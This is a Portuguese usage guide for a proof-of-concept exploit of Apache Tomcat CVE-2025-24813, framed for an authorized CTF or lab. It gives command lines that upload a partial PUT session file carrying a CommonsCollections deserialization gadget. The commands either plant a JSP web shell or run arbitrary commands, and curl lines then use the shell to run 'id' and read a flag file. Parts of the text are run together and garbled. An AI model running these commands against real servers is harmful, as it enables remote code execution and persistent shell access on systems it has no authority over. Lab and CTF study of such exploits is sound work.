
right payload for java CVE
PoC para um ambiente CTF/lab autorizado. Ele explora CVE-2025-24813 através da escrita PUT parcial de um arquivo de sessão Tomcat, e então aciona a desserialização com JSESSIONID.
requestsjava e javac)commons-collections-3.2.1.jar, colocado nesta pastaysoserial não é necessário.
poc_cve_2025_24813.py: wrapper Python que automatiza geração, upload e trigger.GenerateTomcatSessionPayload.java: gera uma sessão Tomcat válida contendo um gadget CommonsCollections.commons-collections-3.2.1.jar: dependência do gadget.sh.jsp: shell JSP opcional implantado por --drop-shell.Implantar um shell JSP no webroot padrão /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
Executar um comando direto sem implantar um shell:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Se o webroot for diferente:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
Se o JAR for movido, indicar seu caminho:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
Se --drop-shell for bem-sucedido:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet gravável, tipicamente readonly=false.PersistentManager e FileStore.commons-collections.O comportamento esperado durante o upload é frequentemente HTTP 409 Conflict em:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
Em seguida, a desserialização é acionada com:
Cookie: JSESSIONID=.<session-id>